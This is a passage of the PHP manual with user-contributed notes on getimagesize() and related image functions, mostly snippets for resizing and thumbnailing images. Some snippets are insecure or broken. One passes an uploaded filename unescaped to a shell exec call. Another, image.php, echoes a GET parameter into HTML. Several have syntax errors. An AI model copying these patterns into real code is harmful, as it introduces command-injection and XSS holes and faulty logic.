        if ( ( $maxWidth > $minWidth ) && ( $size[ 0 ] > $maxWidth ) )
        {
            $errors[ 'maxWidth' ] = $size[ 0 ];
        }
        if ( ( $maxHeight > $minHeight ) && ( $size[ 1 ] > $maxHeight ) )
        {
            $errors[ 'maxHeight' ] = $size[ 1 ];
        }
        if ( ( $maxFileSize > 0 ) && ( filesize( $filename ) > $maxFileSize ) )
        {
            $errors[ 'maxFileSize' ] = filesize( $filename );
        }
    }
    else
    {
        $errors[ 'filename' ] = "not existing";
    }
    return ( count( $errors ) > 0 ? $errors : null );
}
cloned at clonedmadman dot com 25-Feb-2008 11:01
Well, I am making a script which will resize the image when uploaded, however, i am making a multi-uploader, so i came across with a problem: an efficient way of getting a pictures height and width and storing them in an array to resize later. This is what i came up with:

<?php
$links = array("test1.jpg", "test2.png");
$sizearray = array();
$count = count($links);
for($i = 0; $i < $count; $i++) {
    $size = getimagesize($links[$i]);
    list($width, $height) = $size;
    $sizearray[$links[$i]] = array("width" => $width, "height" => $height);
}
print_r($sizearray);
// which will print out: Array ( [test1.jpg] => Array ( [width] => 300 [height] => 400 ) [test2.png] => Array ( [width] => 680 [height] => 100 ) )
?>
shmohel at gmail dot com 12-Feb-2008 03:27
Rather than making a lengthy function that essentially runs twice (once as width, once as height) I came up with a helpful function that uses variable variables to set a maximum height/width. Hope someone finds this helpful.

function scaleimage($location, $maxw=NULL, $maxh=NULL){
    $img = @getimagesize($location);
    if($img){
        $w = $img[0];
        $h = $img[1];

        $dim = array('w','h');
        foreach($dim AS $val){
            $max = "max{$val}";
            if(${$val} > ${$max} && ${$max}){
                $alt = ($val == 'w') ? 'h' : 'w';
                $ratio = ${$alt} / ${$val};
                ${$val} = ${$max};
                ${$alt} = ${$val} * $ratio;
            }
        }

        return("<img src='{$location}' alt='image' width='{$w}' height='{$h}' />");
    }
}
Anonymous 28-Jan-2008 06:14
// A way to maintain Aspect Ratio
// Here using standard aspect ratio of 4:3 for landscape and 3:4 for portrait.
// example is 50% image resize

//NewWidth = GivenHeight * (OriginalWidth / OriginalHeight)
//NewHeight = GivenWidth * (OriginalHeight / OriginalWidth)

$defaultImageWidth = 160; //your gallery image width
$defaultImageHeight = 120; //your gallery image height

$imageWidth = 462; // use getimagesize() to get image width
$imageHeight = 432; // use getimagesize() to get image height

if($imageWidth > $imageHeight)
{
    // landscape image

    $newWidth = $defaultImageWidth;
    $newHeight = (int)($defaultImageWidth * $imageHeight / $imageWidth);

    if($newHeight > $defaultImageHeight)
    {
        $newHeight = $defaultImageHeight;
        $newWidth = (int)($defaultImageHeight * $imageWidth / $imageHeight);
    }

}
elseif ($imageHeight > $imageWidth)
{
    // portrait image

    $newHeight = $defaultImageHeight;
    $newWidth = (int)($defaultImageHeight * $imageWidth / $imageHeight);

    if($newWidth > $defaultImageWidth)
    {
        $newWidth = $defaultImageWidth;
        $newHeight = (int)($defaultImageWidth * $imageHeight / $imageWidth);
    }

}
else
{
    // square image

    $newWidth = $defaultImageWidth;
    $newHeight = $defaultImageHeight;

}

// here using Image Magick command line utility to resize image, OR you can use some other package.
//@exec("/usr/local/bin/convert $sourceImageFilePath - -resize $newWidthx$newHeight\! $destinationImageFilePath");

echo '<b>New Width:</b>'.$newWidth;
echo "<br>";
echo '<b>New Height:</b>'.$newHeight;
pfarthing at hotmail dot com 11-Jan-2008 12:35
Correction: to find $y2 it should be...

// set y side to a proportional size
$y2 = $m * $x_max; // not $x1

Thanks Norbert =)
info at personalmis dot com 07-Jan-2008 01:42
Seems the various ways people are trying to proportionaly scale an image, up or down, could be more straight forward if one remembers ones algebra.

The formula is, y = mx, where m is the slope of the line. This is the ratio of y:x or m = y/x.

So if...

// max values for x and y
$y_max = 600;
$x_max = 800;

// image size
$y1 = 2000;
$x1 = 3000;

// use width for scaling
if ($x1 > $x_max)
{
    // find slope
    $m = $y1/$x1;
    // set x side to max
    $x2 = $x_max;
    // set y side to a proportional size
    $y2 = $m * $x1;
}

The new image proportionally scaled will be x2 = 800, y2 = 533 (rounded).

To do it from the y side, simply reverse the x's and y's.
redcore at gmail dot com 09-Aug-2007 11:50
It's always good to check out an image's dimensions while attempting to upload to your server or database...especially if it's going to be displayed on a page that doesn't accomodate images beyond a particular size.

<?php

$tmpName = $_FILES['userfile']['tmp_name'];

list($width, $height, $type, $attr) = getimagesize($tmpName);

if($width>275 || $height>275)
{
die("exceeded image dimension limits.");
}

?>
laurens dot stoetzel at gmail dot com 03-Aug-2007 08:18
In reply to John (http://de.php.net/manual/de/function.getimagesize.php#61514):
list will only work with numeric arrays.

<?php
  //renumber
  $my_image = array_values(getimagesize('test.jpg'));
  //use list on new array
  list($width, $height, $type, $attr) = $my_image;

  //view new array
  print_r($my_image);

  //spit out content
  echo 'Attribute: '.$attr.'<br />';
  echo 'Width: '.$width.'<br />';
?>
phpnetUNDERSCOREspam at erif dot org 19-Jun-2007 09:26
an alternative to the three options below for finding the width and height of data you know to be an image:

$image = imagecreatefromstring($mydata);
$width = imagesx($image);
$height = imagesy($image);
jens at kulmegies dot de 31-Oct-2006 03:30
In addition to thomporter's quick-reference of the output array, here's what PHP 4.4.0 does:

Array[0] = Width
Array[1] = Height
Array[2] = Image Type Flag
Array[3] = width="xxx" height="xxx"
Array[bits] = bits
Array[channels] = channels
Array[mime] = mime-type

There is no chance of getting the mime-type by accessing Array[6]...
John 06-Feb-2006 08:57
I was coming here to see if there was a simple way to get the height, width, and mime type of an image I have uploaded and while I thought the following code would work because it is printed above
<?php
list($width, $height, $type, $attr) = getimagesize("img/flag.jpg");
?>

it didnt when I tried to echo out $type; so heres my fix, there may be a better way but it works for me!

<?php
$blah = getimagesize("folder/file.gif");
$type = $blah['mime'];
$width = $blah[0];
$height = $blah[1];
?>

and then you can just echo out one of the variables about to get whichever you would desire.
webmaster at WWW.ELLESSEWEB.NET 26-Oct-2005 02:10
This is a useful function to display a thumbnail of a whatever image.
This piece of code has been lightly modified from an example found on <b>NYPHP.ORG</B>.
This function can build a thumbnail of any size you want and display it on your browser!
Hope it can be useful for you guys!

<?php

function makeThumbnail($o_file, $t_ht = 100) {
    $image_info = getImageSize($o_file) ; // see EXIF for faster way

    switch ($image_info['mime']) {
        case 'image/gif':
            if (imagetypes() & IMG_GIF)  { // not the same as IMAGETYPE
                $o_im = imageCreateFromGIF($o_file) ;
            } else {
                $ermsg = 'GIF images are not supported<br />';
            }
            break;
        case 'image/jpeg':
            if (imagetypes() & IMG_JPG)  {
                $o_im = imageCreateFromJPEG($o_file) ;
            } else {
                $ermsg = 'JPEG images are not supported<br />';
            }
            break;
        case 'image/png':
            if (imagetypes() & IMG_PNG)  {
                $o_im = imageCreateFromPNG($o_file) ;
            } else {
                $ermsg = 'PNG images are not supported<br />';
            }
            break;
        case 'image/wbmp':
            if (imagetypes() & IMG_WBMP)  {
                $o_im = imageCreateFromWBMP($o_file) ;
            } else {
                $ermsg = 'WBMP images are not supported<br />';
            }
            break;
        default:
            $ermsg = $image_info['mime'].' images are not supported<br />';
            break;
    }

    if (!isset($ermsg)) {
        $o_wd = imagesx($o_im) ;
        $o_ht = imagesy($o_im) ;
        // thumbnail width = target * original width / original height
        $t_wd = round($o_wd * $t_ht / $o_ht) ;

        $t_im = imageCreateTrueColor($t_wd,$t_ht);

        imageCopyResampled($t_im, $o_im, 0, 0, 0, 0, $t_wd, $t_ht, $o_wd, $o_ht);

        imageJPEG($t_im);

        imageDestroy($o_im);
        imageDestroy($t_im);
    }
    return isset($ermsg)?$ermsg:NULL;
}
?>

Here the code to call the function:

<?

header("Content-type: image/jpeg");
makeThumbnail("http://it2.php.net/images/php.gif", 300);

?>
Mark at Mild Peril 13-Oct-2005 01:54
To solve the problem with using absolute site filepaths, as experienced by Brian:

$size = getimagesize($_SERVER["DOCUMENT_ROOT"].$file);

(where $file is something like "/rootdir/graphics/photo.jpg")
paul at goldenbakery dot nl 05-Aug-2005 11:02
Note that the canvas of a Flash movie can not be empty for getimagesize() to read the dimensions of an SWF. Not sure if this is a bug, a feature or just a limitation of the SWF format.

Flash version does not seem to matter. Also tested with Flash 8 beta.
Sean 30-May-2005 07:23
I needed a quick way to make a group of images uniformly sized, but only on one page.  So creating a new set of thumbnails was overdoing the whole thing.  I made up this script that seems to do the trick.

<?php
     $image =  "absolute/path/to/image/image.jpg";
     $size = getimagesize("$image");
       $height = $size[1];
       $width = $size[0];
     if ($height > 150)
          {
               $height = 150;
               $percent = ($size[1] / $height);
               $width = ($size[0] / $percent);
          }
     else if ($width > 150)
          {
               $width = 150;
               $percent = ($size[0] / $width);
               $height = ($size[1] / $percent);
          }
     echo "<img src\"image/path/image.jpg\" height=\"$height\" width=\"$width\" />";
?>
ajreading at classixshop dot com 21-Apr-2005 10:30
A simple piece of code i wrote to proportionally resize an image to a max height and width then display it

<?php
// Max height and width
$max_width = 100;
$max_height = 100;

// Path to your jpeg

$upfile '/path/to/file.jpg';
    Header("Content-type: image/jpeg");

    $size = GetImageSize($upfile); // Read the size
          $width = $size[0];
          $height = $size[1];

          // Proportionally resize the image to the
          // max sizes specified above

          $x_ratio = $max_width / $width;
          $y_ratio = $max_height / $height;

          if( ($width <= $max_width) && ($height <= $max_height) )
          {
               $tn_width = $width;
               $tn_height = $height;
          }
          elseif (($x_ratio * $height) < $max_height)
          {
               $tn_height = ceil($x_ratio * $height);
               $tn_width = $max_width;
          }
          else
          {
               $tn_width = ceil($y_ratio * $width);
               $tn_height = $max_height;
          }
     // Increase memory limit to support larger files

     ini_set('memory_limit', '32M');

     // Create the new image!
     $src = ImageCreateFromJpeg($upfile);
     $dst = ImageCreateTrueColor($tn_width, $tn_height);
     ImageCopyResized($dst, $src, 0, 0, 0, 0, $tn_width, $tn_height, $width, $height);
     ImageJpeg($dst);
// Destroy the images
ImageDestroy($src);
ImageDestroy($dst);
?>
mail at soylentgreens dot com 31-Mar-2005 03:37
How about this for cropping images...

<?php

$imgfile = "img.jpg";
$cropStartX = 300;
$cropStartY = 250;
$cropW   = 200;
$cropH   = 200;

// Create two images
$origimg = imagecreatefromjpeg($imgfile);
$cropimg = imagecreatetruecolor($cropW,$cropH);

// Get the original size
list($width, $height) = getimagesize($imgfile);

// Crop
imagecopyresized($cropimg, $origimg, 0, 0, $cropStartX, $cropStartY, $width, $height, $width, $height);

// TODO: write code to save new image
// or, just display it like this:
header("Content-type: image/jpeg");
imagejpeg($cropimg);

// destroy the images
imagedestroy($cropimg);
imagedestroy($origimg);

?>
Coodiss at w3bbix dot net 16-Mar-2005 06:51
Heres a easy way to scale images to the <td> that they are in
*this is broken up so anyone can understand it :)

<?
$imageinfo = getimagesize("images/picture.jpg");

$ix=$imageinfo[0];
$iy=$imageinfo[1];

$widthscale = $ix/175;  //<TD> WIDTH
$heightscale = $iy/175; //<TD> HEIGHT

if($widthscale < 1)
$nwidth = $ix*$widthscale;
else
$nwidth = $ix/$widthscale;

if($heightscale < 1)
$nheight = $iy*$heightscale;
else
$nheight = $iy/$heightscale;

?>
php dot net at dannysauer dot com 12-Feb-2005 05:23
Note that, if you're going to be a good programmer and use named constatnts (IMAGETYPE_JPEG) rather than their values (2), you want to use the IMAGETYPE variants - IMAGETYPE_JPEG, IMAGETYPE GIF, IMAGETYPE_PNG, etc.  For some reason, somebody made a horrible decision, and IMG_PNG is actually 4 in my version of PHP, while IMAGETYPE_PNG is 3.  It took me a while to figure out why comparing the type against IMG_PNG was failing...
sixzero4 at hotmail dot com 30-Nov-2004 05:33
This is just to add to the comment by robertks at hotmail dot com on
05-Mar-2003 12:12 regarding trying to derive the dimensions of a video file. The package referenced (http://www.getid3.org/) had been updated, and below is a script I use to get the size. You can get many other attributes of media files as well.

<?php
// include getID3() library (can be in a different directory if full path is specified)
 include_once('getid3.php');

// Initialize getID3 engine
$getID3 = new getID3;

 // File to get info from
 $file_location = './your/path/to/file.mov';

// Get information from the file
 $fileinfo = $getID3->analyze($file_location);
 getid3_lib::CopyTagsToComments($fileinfo);

 // Output results
if (!empty($fileinfo['video']['resolution_x'])) { echo '<p> video width: '.$fileinfo['video']['resolution_x'].'</p>'; }
if (!empty($fileinfo['video']['resolution_y'])) { echo '<p> video height: '.$fileinfo['video']['resolution_y'].'</p>'; }
?>

Hope that helps others looking for a function similar to getimagesize() for a video or media file.
Joshua 16-Aug-2004 09:26
If your image name has spaces in it you will need to use rawurlencode() and NOT urlencode() as this function (at least in 4.3.4) does not accept spaces as + signs.
cstdenis at hotmail dot com 11-Aug-2004 08:42
This will not work for swf files unless zlib is compiled into php statically (not as a shared module). Bug #29611

As of PHP 5.0.0 it will just return false, but that should change to a notice by the next release.
diablx at hotmail dot com 25-May-2004 11:36
I'm sorry for they other scripts, but I made one mistake about the image resizing... here is a working script !
<?
    // Some configuration variables !
    $maxWidth = 90;
    $maxHeight = 90;
    $maxCols = 8;
    $webDir = "https://localhost/images/";
    $localDir = $_SERVER['DOCUMENT_ROOT']."/images/";

    $AutorisedImageType = array ("jpg", "jpeg", "gif", "png");
?>

<center>
<table border='1' cellspacing='5' cellpadding='5' style="border-collapse:collapse; border-style: dotted">
<tr>
   <?
   // Open localDir
   $dh = opendir($localDir);
   while (false !== ($filename = readdir($dh))) {
       $filesArray[] = $filename;
   }

   // Display and resize
   foreach ($filesArray as $images) {

       $ext = substr($images, strpos($images, ".")+1, strlen($images));

       if( in_array($ext, $AutorisedImageType) ) {

           list($width, $height, $type, $attr) = @getimagesize( $localDir.$images );

            $xRatio = $maxWidth / $width;
            $yRatio = $maxHeight / $height;

            if ( ($width <= $maxWidth) && ($height <= $maxHeight) ) {
              $newWidth = $width;
              $newHeight = $height;
            }
            else if (($xRatio * $height) < $maxHeight) {
              $newHeight = ceil($xRatio * $height);
              $newWidth = $maxWidth;
            }
            else {
              $newWidth = ceil($yRatio * $width);
              $newHeight = $maxHeight;
            }

           if($i == $maxCols) {
               echo "</tr><tr>";
               $i = 0;
           }
           echo "<td align='center' valign='middle' width='$maxWidth' height='$maxHeight'><img src='".$webDir.$images."' width='$newWidth' height='$newHeight'></td>";
           $i++;
       }
   }
?>
</tr>
</table>
</center>
MagicalTux at FF.st 31-Mar-2004 12:35
simm posted something interesting about imagick, but usually calling an external binary is not the best way.

You can use the Imagick PHP module . With it, you do not even need to get the image size to generate thubnails...

Here's the code I used :
<?php
    $imh=imagick_readimage($image);
    imagick_scale($imh,GALLERY_THUMBNAILWIDTH,GALLERY_THUMBNAILHEIGHT);
    imagick_writeimage($imh,$image_thumb);
?>

(I noticed that some hosting companies are now providing the imagick module by default. Using it allows you to accept any type of image from your visitors. Maybe it will be documented on the official PHP website one day or another? )
MarioPro 11-Mar-2004 03:13
The Problem:
I've just noticed that after upgrading to the PHP 4.3.4 version, the old GetImageSize() should get your attention on pages coded before this new version.

The solutions:
So, if you used GetImageSize(), you should now be using getimagesize() - attention to all lower caracters.

Also, you shou certify that the image realy exists, otherwhise you'll get the following error: getimagesize(): Read error!
This means that there is no image to "fill" the string and thus you're calling, for example: "images/news/" instead of calling "images/news/03102004a.jpg"

One should now verify if there is an image to be called (example):
if($photo1!=""){
$size1=getimagesize("images/news/".$photo_news_1"]);
$width1=$size1[0];
$height1=$size[1];
}
Here, if $photo_news_1 is set and exists it will be displayed, otherwhise it will be skiped and no ERROR message will be displayed. In the PHP 4.3.3 and earlier versions, this was not necessary but it is now!  ;)
yohami dot com - zerodj at hotmail dot com 14-Jan-2004 04:11
A cool resize / cropping script for creating thumbnails using mogrify

IMAGETEST.PHP

<?php

include 'mogrify.php';

// variables from flash (my website uses flash and php)
$picture="sample.jpg";
$fixedwidth=300;
$fixedheight=240;
//

cropimage($picture,$fixedwidth,$fixedheight,$mogrify);

 ?>

MOGRIFY.PHP

<?php
// walking the path
$mogrify="C:/apache/Imagik/mogrify.exe";

// ---------------------------------------- crop function

function cropimage($picture,$fixedwidth,$fixedheight,$mogrify) {

    // GET IMG
    $img = imagecreatefromjpeg($picture);
    $width= imagesx($img);
    $height= imagesy($img);
    // CROP WIDTH
    if($width!=$fixedwidth){
        $ratio =$fixedwidth/$width;
        $NewHeight=round($height*$ratio);
        $NewWidth=round($width*$ratio);
        exec( $mogrify." -resize ".$NewWidth."x".$NewHeight."! $picture");
        exec( $mogrify." -crop ".$fixedwidth."x".$fixedheight."+0+0 $picture");
        // REFRESH
        $img = imagecreatefromjpeg($picture);
        $width= imagesx($img);
        $height= imagesy($img);
    }
    // CROP HEIGHT
    if($height!=$fixedheight){
        $ratio =$fixedheight/$height;
        $NewHeight=round($height*$ratio);
        $NewWidth=round($width*$ratio);
        exec( $mogrify." -resize ".$NewWidth."x".$NewHeight."! $picture");
        exec( $mogrify." -crop ".$fixedwidth."x".$fixedheight."+0+0 $picture");
    }
    //
    ImageDestroy($img);
}

?>

yeah!
php (at) thejpster org uk 02-Dec-2003 03:39
If you want to resize an image proportionally to fit within a given area, like I did, the following code might help you out.

If either hscale or wscale are greater than 1 then that dimension is too big. If you then scale your image by the larger of the two values (hscale, wscale) then you guarantee that both dimensions will now fit in your specified area :)

function makeImg($num) {
    global $hmax, $wmax; // max width and height
    $image = "somefile.jpg";
    list($width, $height, $type, $attr) = getimagesize($image);
    $hscale = $height / $hmax;
    $wscale = $width / $wmax;
    if (($hscale > 1) || ($wscale > 1)) {
        $scale = ($hscale > $wscale)?$hscale:$wscale;
    } else {
        $scale = 1;
    }
    $newwidth = floor($width / $scale);
    $newheight= floor($height / $scale);

    return "<img width='$newwidth' height='$newheight' src='$image'><br>$image: $newwidth x $newheight : $width x $height";
}
djwishbone at hotmail dot com 19-Nov-2003 03:31
Using remote files with getimagesize($URL) never worked for me.  Except when I would grab files from the same server.  However, I developed some code with the help from the people here that does work.  If you are having problems give this function a shot:

function getimagesize_remote($image_url) {
    $handle = fopen ($image_url, "rb");
    $contents = "";
    if ($handle) {
    do {
        $count += 1;
        $data = fread($handle, 8192);
        if (strlen($data) == 0) {
            break;
       }
    $contents .= $data;
    } while(true);
    } else { return false; }
    fclose ($handle);

    $im = ImageCreateFromString($contents);
    if (!$im) { return false; }
    $gis[0] = ImageSX($im);
    $gis[1] = ImageSY($im);
// array member 3 is used below to keep with current getimagesize standards
    $gis[3] = "width={$gis[0]} height={$gis[1]}";
    ImageDestroy($im);
    return $gis;
}

goodluck
janoma_cl 10-Oct-2003 12:19
If you want to show thumbnails keeping the original proportions, with defined maximum width and height, you can use this function. This is useful when showing tables of user-uploaded images, that not necessarily are same-sized. However, for big images (like wallpapers), a better option is to create separated thumbnails with a image-editing software.

If the image is smaller or equal than the defined maximums, then it's showed without resizing. If not, creates a link to a pop-up that shows the full-size image.

<?php
function show_thumbnail($file)
{
    $max = 200 // Max. thumbnail width and height

    $size = getimagesize($file);

    if ( $size[0] <= $max && $size[1] <= $max )
    {
        $ret = '<img src="'.$file.'" '.$size[3].' border="0">';
    }
    else
    {
        $k = ( $size[0] >= $size[1] ) ? $size[0] / $max : $size[1] / $max;
        $ret = '<a href="javascript:;" onClick="window.open(\'image.php?img=';
        $ret .= $file.'\',\'\',\'width='.$size[0];
        $ret .= ',height='.$size[1].'\')">';
        $ret .= '<img src="'.$file.'" width="'.floor($size[0]/$k).'" height="'.floor($size[1]/$k).'" border="0" alt="View full-size image"></a>';
    }

    return $ret;
}
?>

Here is the code of 'image.php':

<html>
<head>
<title>Image</title>
</head>
<body leftmargin="0" topmargin="0">
<?php echo ( is_file($_GET['img']) ) ? '<a href="#" onClick="window.close();"><img src="'.$_GET['img'].'" border="0" alt="Close window"></a>' : 'Invalid image filename, or no filename entered. <a href="#" onClick="window.close();">Close window</a>.' ?>
</body>
</html>
simms 03-Sep-2003 06:47
here's a nice way of resizing user-uploaded files on the fly, using ImageMagick (on linux), but no GD:

<?

if( $image_info = getimagesize( "/upload_dir/" . $uploadName ) )
{
  if( $image_info[ 0 ] > $defaultImgWidth )
  {
    exec( "mogrify -geometry " . $defaultImgWidth . " " . "/upload_dir/" . $uploadName . " &" );
  }
}

?>

$defaultImgWidth would be the target width of the image -- note that the code above resizes the image without distorting its original proportions, and only if it is wider than $defaultImgWidth.
the ImageMagick syntax used above ("mogrify ..") overwrites the original file ($uploadName) with the resized image.
ten tod xmg ta rotanimrev (reverse it) 01-Sep-2003 07:30
An additional note to "tightcode_nosp@m_hotmail":

If that doesn't work try this instead:

<?
      $img = imagecreatefromjpeg ($filename);
      $x = imagesx ($img);
      $y = imagesy ($img);
      imagedestroy ($img);
?>

Though keep in mind that this consumes lots of CPU. So if you're doing something like creating a page of thumbnails this is considerably slower.

So what you can do is use getimagesize() and check if
- the width and height are empty strings ("")
- and those two values aren't too high

Both indicate that getimagesize() didn't work properly. The latter may happen if getimagesize() thought that it recognized the format and therefore the size properly. I mean if you're looking at pictures that you know are max. 1024x768 and getimagesize() returns a width of e.g. 20234 then it's obvious that something went wrong. In that case use the code mentioned above. Of course if getimagesize() returned small values that are wrong you still get the wrong size. So check your pictures and priorities first.

So all of this could look like as follows:

<?
    $picinfo = @getimagesize ($filename);
    if ($picinfo !== false) {
      $x = $picinfo [0];
      $y = $picinfo [1];
    }

    // change this according the picture resolutions you're expecting
    if ($x > 2000 || $y > 2000) $x = $y = "";

    if ($x == "") {
      $img = imagecreatefromjpeg ($filename);
      $x = imagesx ($img);
      $y = imagesy ($img);
      imagedestroy ($img);
    }
?>

Note: fix syntax stuff if there's an error as I compiled this example from a few places.

If you don't care about the huge load on your CPU or you have to rely on the proper size use the snippet noted at the beginning only.
justin at webtekconcepts dot com 15-Aug-2003 10:27
For those that like to go the dynamic thumbnail route, I've found that you can get warnings with getimagesize() after your loop through more than 3 to 4 images. In my case I needed 12 images on each page.

Use usleep() in your loop just before you run getimagesize() otherwise you'll end up with warnings, big images and a broken page. Using usleep() lets the server recoup for X milliseconds so it will accept connections again for the image size.

I've found that usleep(1500) is the best for my situation. This barely slows the page down and allows for getimagesize() to work 100% of the time for me.
webmaster AT theparadox DOT org 31-May-2003 02:16
I figured others have wanted to scale an image to a particular height or width while preserving the height/width ratio. So here are the functions I wrote to accomplish this. Hopefully they'll save somebody else the five minutes it took to write these.

You give the filename and the dimension you want to use, and these functions return the opposite dimension:

function scale_to_height ($filename, $targetheight) {
   $size = getimagesize($filename);
   $targetwidth = $targetheight * ($size[0] / $size[1]);
   return $targetwidth;
}

function scale_to_width ($filename, $targetwidth) {
   $size = getimagesize($filename);
   $targetheight = $targetwidth * ($size[1] / $size[0]);
   return $targetheight;
}
robertks at hotmail dot com 05-Mar-2003 06:12
For those of you trying to derive the dimensions of a video file (e.g. Video for Windows AVI, Quicktime MOV, MPEG MPG, Windows Media Video WMV or ASF, etc.), you will find the getid3 library to be indispensible.  Found at http://getid3.sourceforge.net, here's an example of its use in a script:

include_once('getid3.php'); // or wherever you actually put the getid3 scripts
$file_location = './myvideo.avi';
$file_info = GetAllFileInfo($file_location) // calls getid3 function
$file_width = $file_info['video']['resolution_x'];
$file_height = $file_info['video']['resolution_y'];

You can then use your OBJECT and EMBED tags in HTML to put the video into a web page, and make the PHP template independent of the size parameters of the particular video it happens to be loading.  (Just remember to add pixels to the video height to accomodate the controller of the embedded player: typically, 16 pixels for Quicktime, 46 pixels for Windows Media Player 6, and 64 pixels for Windows Media Player 7.
mogster at boomdesign dot no 09-Mar-2002 07:58
Really useful info from webmasterb@feartheclown.com and you others :-)
Saved my butt...
Here's a build on that, with proportional resizing of the image-upload ($newpic) to a fixed value ($maxwidth):
$maxwidth = "350";
$imagehw = GetImageSize($newpic);
$imagewidth = $imagehw[0];
$imageheight = $imagehw[1];
$imgorig = $imagewidth;
if ($imagewidth > $maxwidth {
  $imageprop=($maxwidth*100)/$imagewidth;
  $imagevsize= ($imageheight*$imageprop)/100 ;
  $imagewidth=$maxwidth;
  $imageheight=ceil($imagevsize);
}
Of course this does not resize the image itself, but returns values one may use in html-code to restrain users from killing your design...

knutm


Get the size of an image from a string

  • « getimagesize
  • image_type_to_extension »
  • PHP Manual
  • GD and Image Functions
  • Get the size of an image from a string

getimagesizefromstring

(PHP 5 >= 5.4.0)

getimagesizefromstring — Get the size of an image from a string

Description

array getimagesizefromstring ( string $imagedata [, array &$imageinfo ] )

Identical to getimagesize() except that getimagesizefromstring() accepts a string instead of a file name as the first parameter.

See the getimagesize() documentation for details on how this function works.

Parameters

imagedata

The image data, as a string.

imageinfo

See getimagesize().

Return Values

See getimagesize().

Examples

Example #1 getimagesizefromstring() example

<?php
$img = '/path/to/test.png';

// Open as a file
$size_info1 = getimagesize($img);

// Or open as a string
$data       = file_get_contents($img);
$size_info2 = getimagesizefromstring($data);
?>

See Also

  • getimagesize() - Get the size of an image

User Contributed Notes

sarah at anigel dot net 10-Feb-2014 05:46
Just a quick comment on the solution by imageman for versions < 5.4 you will need to enable allow_url_fopen in order to use the data wrapper.
imageman 25-Dec-2013 04:10
getimagesizefromstring function for < 5.4

<?php
   if (!function_exists('getimagesizefromstring')) {
      function getimagesizefromstring($string_data)
      {
         $uri = 'data://application/octet-stream;base64,'  . base64_encode($string_data);
         return getimagesize($uri);
      }
}
?>
josh at karmabunny dot com dot au 17-Oct-2013 02:25
If you need to get the type (but not the size) of an image contained within a string, you can make use of the signatures contained within the headers of various file formats.

<?php
function get_img_type($data) {
    $magics = array(
        'ffd8ff' => 'jpg',
        '89504e470d0a1a0a' => 'png',
    );

    foreach ($magics as $str => $ext) {
        if (strtolower(bin2hex(substr($data, 0, strlen($str)/2))) == $str) return $ext;
    }

    return NULL;
}
?>

If required, additional magic signatures can be added to the array, there is a page on Wikipedia with a good list:
http://en.wikipedia.org/wiki/List_of_file_signatures


Get file extension for image type

  • « getimagesizefromstring
  • image_type_to_mime_type »
  • PHP Manual
  • GD and Image Functions
  • Get file extension for image type

image_type_to_extension

(PHP 5)

image_type_to_extension — Get file extension for image type

Description

string image_type_to_extension ( int $imagetype [, bool $include_dot = TRUE ] )

Returns the extension for the given IMAGETYPE_XXX constant.

Parameters

imagetype

One of the IMAGETYPE_XXX constant.

include_dot

Whether to prepend a dot to the extension or not. Default to TRUE.

Return Values

A string with the extension corresponding to the given image type.

Examples

Example #1 image_type_to_extension() example

<?php
// Create image instance
$im = imagecreatetruecolor(100, 100);

// Save image
imagepng($im, './test' . image_type_to_extension(IMAGETYPE_PNG));
imagedestroy($im);
?>

Notes

Note:

This function does not require the GD image library.

User Contributed Notes

bimal at sanjaal dot com 06-Feb-2012 07:06
<?php
/**
* Returns a COMMON extension with a dot
*/
function gd_extension($full_path_to_image='')
{
    $extension = 'null';
    if($image_type = exif_imagetype($full_path_to_image))
    {
        $extension = image_type_to_extension($image_type, false);
    }
    $known_replacements = array(
        'jpeg' => 'jpg',
        'tiff' => 'tif',
    );
    $extension = '.'.str_replace(array_keys($known_replacements), array_values($known_replacements), $extension);

    return $extension;
}

# Testing
$images = glob('*');
foreach($images as $i => $image)
{
    $extension = gd_extension($image);
    echo "\r\n", $image, ': ', $extension;
}
?>

Sometimes, the extension is not as I expected, until I wrote this piece.
mew at world dot org 08-Dec-2007 08:26
There is no need to over complicated folks.

<?php

if ( !function_exists('image_type_to_extension') ) {

    function image_type_to_extension ($type, $dot = true)
    {
        $e = array ( 1 => 'gif', 'jpeg', 'png', 'swf', 'psd', 'bmp'
            'tiff', 'tiff', 'jpc', 'jp2', 'jpf', 'jb2', 'swc',
            'aiff', 'wbmp', 'xbm');

        // We are expecting an integer.
        $type = (int)$type;
        if (!$type) {
            trigger_error( '...come up with an error here...', E_USER_NOTICE );
            return null;
        }

        if ( !isset($e[$type]) ) {
            trigger_error( '...come up with an error here...' E_USER_NOTICE );
            return null;
        }

        return ($dot ? '.' : '') . $e[$type];
    }

}

if ( !function_exists('image_type_to_mime_type') ) {

    function image_type_to_mime_type ($type)
    {
        $m = array ( 1 => 'image/gif', 'image/jpeg', 'image/png',
            'application/x-shockwave-flash', 'image/psd', 'image/bmp',
            'image/tiff', 'image/tiff', 'application/octet-stream',
            'image/jp2', 'application/octet-stream', 'application/octet-stream',
            'application/x-shockwave-flash', 'image/iff', 'image/vnd.wap.wbmp', 'image/xbm');

        // We are expecting an integer.
        $type = (int)$type;
        if (!$type) {
            trigger_error( '...come up with an error here...', E_USER_NOTICE );
            return null;
        }

        if ( !isset($m[$type]) ) {
            trigger_error( '...come up with an error here...' E_USER_NOTICE );
            return null;
        }

        return $m[$type];
    }

}

?>
Chris 26-Aug-2007 04:17
- Function was added in PHP 5.2, not PHP 5 (you would assume this means 5.0)
- Function returns .jpeg, not .jpg
Ian Paul Short chukdocsAtHotmailDotCom 29-Sep-2006 06:10
To: mail at spybreak dot de

I noted  your solution was for mime_type_to_extension which is flawed because the MIME types to extensions are not unique. See my example to consider what I have observed.

This function performs image type or mime type to extension. With limitation it will not attempt to handle duplicated MIME types. NOT DEFINITIVE!
<?php
    if(!function_exists('image_type_to_extension')){

        $extension;

        function image_type_or_mime_type_to_extension($image_type, $include_dot) {
            define ("INVALID_IMAGETYPE", '');

            $extension = INVALID_IMAGETYPE;            /// Default return value for invalid input

            $image_type_identifiers = array (                                                                ### These values correspond to the IMAGETYPE constants
                    array (IMAGETYPE_GIF         => 'gif',     "mime_type" => 'image/gif'),                        ###  1 = GIF
                    array (IMAGETYPE_JPEG        => 'jpg',     "mime_type" => 'image/jpeg'),                        ###  2 = JPG
                    array (IMAGETYPE_PNG        => 'png',     "mime_type" => 'image/png'),                        ###  3 = PNG
                    array (IMAGETYPE_SWF        => 'swf',     "mime_type" => 'application/x-shockwave-flash'),    ###  4 = SWF  // A. Duplicated MIME type
                    array (IMAGETYPE_PSD        => 'psd',     "mime_type" => 'image/psd'),                        ###  5 = PSD
                    array (IMAGETYPE_BMP        => 'bmp',     "mime_type" => 'image/bmp'),                        ###  6 = BMP
